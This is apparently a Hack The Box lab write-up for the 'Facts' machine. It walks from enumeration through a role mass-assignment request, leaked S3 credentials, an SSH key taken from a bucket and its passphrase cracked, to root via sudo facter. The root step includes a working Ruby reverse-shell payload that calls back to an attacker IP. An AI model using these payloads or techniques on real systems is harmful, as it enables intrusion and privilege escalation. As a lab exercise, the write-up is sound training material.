HTB Facts Writeup: CVE Chaining and Privilege Escalation.

  1. We can use a standard nmap scan for the initial enumeration which reveals 3 open ports 22, 80 and 54321:
$nmap -sC -sV --top-ports=5000 10.129.67.181
<SNIP>
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp    open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: facts
54321/tcp open  unknown
| fingerprint-strings: 
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
<SNIP>
  1. The http-title shows name “facts”, we can add it to our hosts file for further investigation:
$sudo echo '10.129.64.221 facts.htb' >> /etc/hosts
$ffuf -w=raft-small-words.txt -u http://facts.htb/FUZZ -fs 11110-11116,7918,4836

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       

          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://facts.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 11110-11116,7918,4836
________________________________________________

search                  [Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 346ms]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 599ms]
js                      [Status: 200, Size: 1146, Words: 135, Lines: 10, Duration: 784ms]
.js                     [Status: 200, Size: 1146, Words: 135, Lines: 10, Duration: 1346ms]
rss                     [Status: 200, Size: 183, Words: 20, Lines: 9, Duration: 1436ms]
ajax                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1463ms]
page                    [Status: 200, Size: 19593, Words: 3296, Lines: 282, Duration: 1418ms]
en                      [Status: 200, Size: 11109, Words: 1328, Lines: 125, Duration: 2112ms]
.xml                    [Status: 500, Size: 131, Words: 10, Lines: 6, Duration: 1676ms]
sitemap                 [Status: 200, Size: 3508, Words: 424, Lines: 130, Duration: 888ms]
<SNIP>
  1. We can register a new account(Pentester:Pentester in that case) using discovered admin endpoint:
HTB Facts Writeup machine overview
HTB Facts Writeup machine overview
HTB Facts Writeup machine overview
  1. We have to repeat our steps and login to page via Burp controlled browser. After logging in we can look our profile by clicking our name in write-upper corner of the page. We can notice that we have a client level of access at the moment which is absolutely normal:
HTB Facts Writeup machine overview
  1. Let’s click on the Change Password button:
HTB Facts Writeup machine overview
  1. The pop-up window appears where we can input the new password for our user and press the Process button to confirm the change:
HTB Facts Writeup machine overview
  1. After pressing the button let’s come back to the burpsuite in order to see the intercepted request, the request will have the following data:
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Length: 198
X-CSRF-Token: 9MRLSh4CAQx5qx7XPqDmv6E5jmOaNx39e02LEqZB-i6Uit8wLXswVA0XvXpjt2kq0cMesM5mVh_a-WLBVfQkUQ
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Origin: http://facts.htb
Referer: http://facts.htb/admin/profile/edit
Accept-Encoding: gzip, deflate, br
Cookie: auth_token=hWxYac7ZDohbulZkNRv0IA&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F140.0.0.0+Safari%2F537.36&10.10.14.225; _factsapp_session=pQwZrdsCCeRCrUpY2hG9o9AF2RWTkmX4SvNrB34iZCfFcZJok%2BNQ1rL7hmM5K9Fl0aIgwGRjhLqe3OC8UFQlLTlDNsKhWDeRFrKSyqLha3NP%2FDm2bAq78VBqs4dwLhvnhE2Q5FaDYLTzGrF0mwpa86oZ56iTX%2FM%2BZXi6VWGMwdtJhRSweWlUYIfFo%2FyCrBoKoQje5c%2FjkIkE%2BioinFWrE%2BYjulTOxFwAQIkRael2jl1CD%2BoaCn%2B5NfbLp%2FqzKDEN1KuSRRCke%2BAwq2W5Lml1S0Jb5MjMF3E3XCSdSXVP6%2BLdoSPc9EcHHiA1PKSYaQSmDwxBp%2Fw%3D--TshUioiKzh5rDu3u--WoGluw7jkbS%2BIv7nYki%2BxA%3D%3D
Connection: keep-alive

_method=patch&authenticity_token=9MRLSh4CAQx5qx7XPqDmv6E5jmOaNx39e02LEqZB-i6Uit8wLXswVA0XvXpjt2kq0cMesM5mVh_a-WLBVfQkUQ&password%5Bpassword%5D=Pentester&password%5Bpassword_confirmation%5D=Pentester
  1. As observed, the POST request contains 2 additional parameters (excluding _method and the authentication token): %5Bpassword%5D. and %5Bpassword_confirmation%5D. Both parameters are logged using password. In URL encoding, %5B represents [ and %5D represents ], indicating that these values are submitted as array-style parameters. This implies that simply appending an additional parameter using the standard &role=admin after the main parameters would prevent the CVE from working. Therefore we have to follow a request format in order to get our admin access. Let’s modify intercepted request by adding &password%5Brole%5D=admin:
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
Content-Length: 198
X-CSRF-Token: 9MRLSh4CAQx5qx7XPqDmv6E5jmOaNx39e02LEqZB-i6Uit8wLXswVA0XvXpjt2kq0cMesM5mVh_a-WLBVfQkUQ
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Origin: http://facts.htb
Referer: http://facts.htb/admin/profile/edit
Accept-Encoding: gzip, deflate, br
Cookie: auth_token=hWxYac7ZDohbulZkNRv0IA&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F140.0.0.0+Safari%2F537.36&10.10.14.225; _factsapp_session=pQwZrdsCCeRCrUpY2hG9o9AF2RWTkmX4SvNrB34iZCfFcZJok%2BNQ1rL7hmM5K9Fl0aIgwGRjhLqe3OC8UFQlLTlDNsKhWDeRFrKSyqLha3NP%2FDm2bAq78VBqs4dwLhvnhE2Q5FaDYLTzGrF0mwpa86oZ56iTX%2FM%2BZXi6VWGMwdtJhRSweWlUYIfFo%2FyCrBoKoQje5c%2FjkIkE%2BioinFWrE%2BYjulTOxFwAQIkRael2jl1CD%2BoaCn%2B5NfbLp%2FqzKDEN1KuSRRCke%2BAwq2W5Lml1S0Jb5MjMF3E3XCSdSXVP6%2BLdoSPc9EcHHiA1PKSYaQSmDwxBp%2Fw%3D--TshUioiKzh5rDu3u--WoGluw7jkbS%2BIv7nYki%2BxA%3D%3D
Connection: keep-alive

_method=patch&authenticity_token=9MRLSh4CAQx5qx7XPqDmv6E5jmOaNx39e02LEqZB-i6Uit8wLXswVA0XvXpjt2kq0cMesM5mVh_a-WLBVfQkUQ&password%5Bpassword%5D=Pentester&password%5Bpassword_confirmation%5D=Pentester&password%5Brole%5D=admin
  1. Refresh the page after the succesful password change to check if we have got an admin access:
HTB Facts Writeup machine overview
  1. We can freely investigate the admin panel now. After some time we find AWS S3 bucket style credentials in Settings -> General Site ->Filesystem Settings:
HTB Facts Writeup machine overview
  1. The AWS S3 bucket access* can be set up by a following set of commands:
$aws configure --profile facts
AWS Access Key ID [None]: AKIABBE4C38872A91730
AWS Secret Access Key [None]: YHkMyFYBe6TuEPhlm5OsorH6UN0QwMMQ3HIcuOf9
Default region name [None]: us-east-1
Default output format [None]: json

$aws --profile facts --endpoint-url http://facts.htb:54321 s3 ls
2025-09-11 20:06:52 internal
2025-09-11 20:06:52 randomfacts
* Please Note that Access and Secrets keys are rotated during box reset.
  1. The randomfacts bucket contains website data to which we already have an access, on the other hand internal bucket looks interesting because it has the .ssh folder:
$aws --profile facts --endpoint-url http://facts.htb:54321 s3 ls s3://internal
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-09 02:45:13        220 .bash_logout
2026-01-09 02:45:13       3900 .bashrc
2026-01-09 02:47:17         20 .lesshst
2026-01-09 02:47:17        807 .profile
  1. The next step is to synchronize our attacking machine with the bucket by using following command:
$aws --profile facts --endpoint-url http://facts.htb:54321 s3 sync s3://internal ./internal

$ls -la internal/.ssh
total 8
drwxr-xr-x 1 copper_nail copper_nail  50 Feb  1 20:57 .
drwxr-xr-x 1 copper_nail copper_nail 104 Feb  1 20:57 ..
-rw-r--r-- 1 copper_nail copper_nail  82 Feb  1 19:44 authorized_keys
-rw-r--r-- 1 copper_nail copper_nail 464 Feb  1 19:44 id_ed25519
  1. In the downloaded passwd file we can see that except the root there also exist 2 additional users trivia and william:
<SNIP>
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
$ssh2john id_ed25519 > hash.txt

$cat hash.txt:
id_ed25519:$sshng$6$16$476e65edf5db184d9c64e93a6578873f$290$6f70656e7373682d6b65792d7631000000000a6165733235362d637472000<HASH_REDACTED>2780cbc5c241197199edd950a360f68bf4a9e8155940da99c9dadc87ebca9ab6bc3c9373fc72fab9e4ea09a3c7d0b26d1a986abb824b3cea3f77325c4f3a98175f24c36b04f$24$130

$john -w=/home/copper_nail/Desktop/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 6 OpenMP threads


0g 0:00:00:41 0.01% (ETA: 2026-02-07 10:12) 0g/s 35.43p/s 35.43c/s 35.43C/s 234567..mexico1
dr<REDACTED>lz      (id_ed25519)  
  1. At this point, we can use SSH to connect to the target as the trivia user and retrieve the user flag.:
$chmod 600 id_ed25519
$mv id_ed25519 id_rsa
$ssh -i id_rsa trivia@facts.htb
Enter passphrase for key 'id_rsa': 
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun Feb  1 01:44:35 PM UTC 2026

  System load:           0.0
  Usage of /:            73.3% of 7.28GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             222
  Users logged in:       1
  IPv4 address for eth0: 10.129.64.221
  IPv6 address for eth0: dead:beef::250:56ff:fe94:c5b4


0 updates can be applied immediately.
$ trivia@facts:~$ cd ..
$ trivia@facts:/home$ cd william
trivia@facts:/home/william$ ls
user.txt
trivia@facts:/home/william$ cat user.txt
8314284<REDACTED>6d9a7e
  1. We can check if we can access to any sudo commands and reveal that we have an access to one binary:
trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
  • Facter may look for custom facts in the specific directories;
  • Any ruby file which presents in this directory will be executed by factor;
  • Since the binary is executed with sudo, any file it runs will be executed with root privileges.
  1. With the above knowledge we can prepare the simple .rb (Ruby) script which will be containing the reverse shell:
trivia@facts:/tmp$ mkdir test
trivia@facts:/tmp$ cd test
trivia@facts:/tmp/test$ nano reverse.rb

Facter.add(:reverse) do
  setcode do
    require 'socket'
    s = Socket.new 2,1
    s.connect Socket.sockaddr_in 5050, '10.10.14.225'
    [0,1,2].each { |fd| syscall 33, s.fileno, fd }
    exec '/bin/sh -i'
  end
end
  1. Save the file and start the listener on your machine:
└──╼ $nc -lvnp 5050
listening on [any] 5050 ...
  1. Run the next command on the Facts box to launch a root reverse shell:
trivia@facts:/tmp/test$ sudo /usr/bin/facter -p --custom-dir /tmp/test reverse
[2026-02-05 14:41:50.622378 ] ERROR Facter - Could not load puppet gem, got cannot load such file -- puppet 
  1. Check the netcat listener. And congratulations you have a root access:
└──╼ $nc -lvnp 5050
listening on [any] 5050 ...
connect to [10.10.14.225] from (UNKNOWN) [10.129.70.160] 40210
# whoami
root
# cat /root/root.txt
30e8e2<REDACTED>dc83

Final Thoughts:

Overall, the box places a stronger emphasis on the user-level compromise, requiring the chaining of two CVEs along with basic password cracking.
The root phase is straightforward and serves to teach fundamental privilege escalation techniques.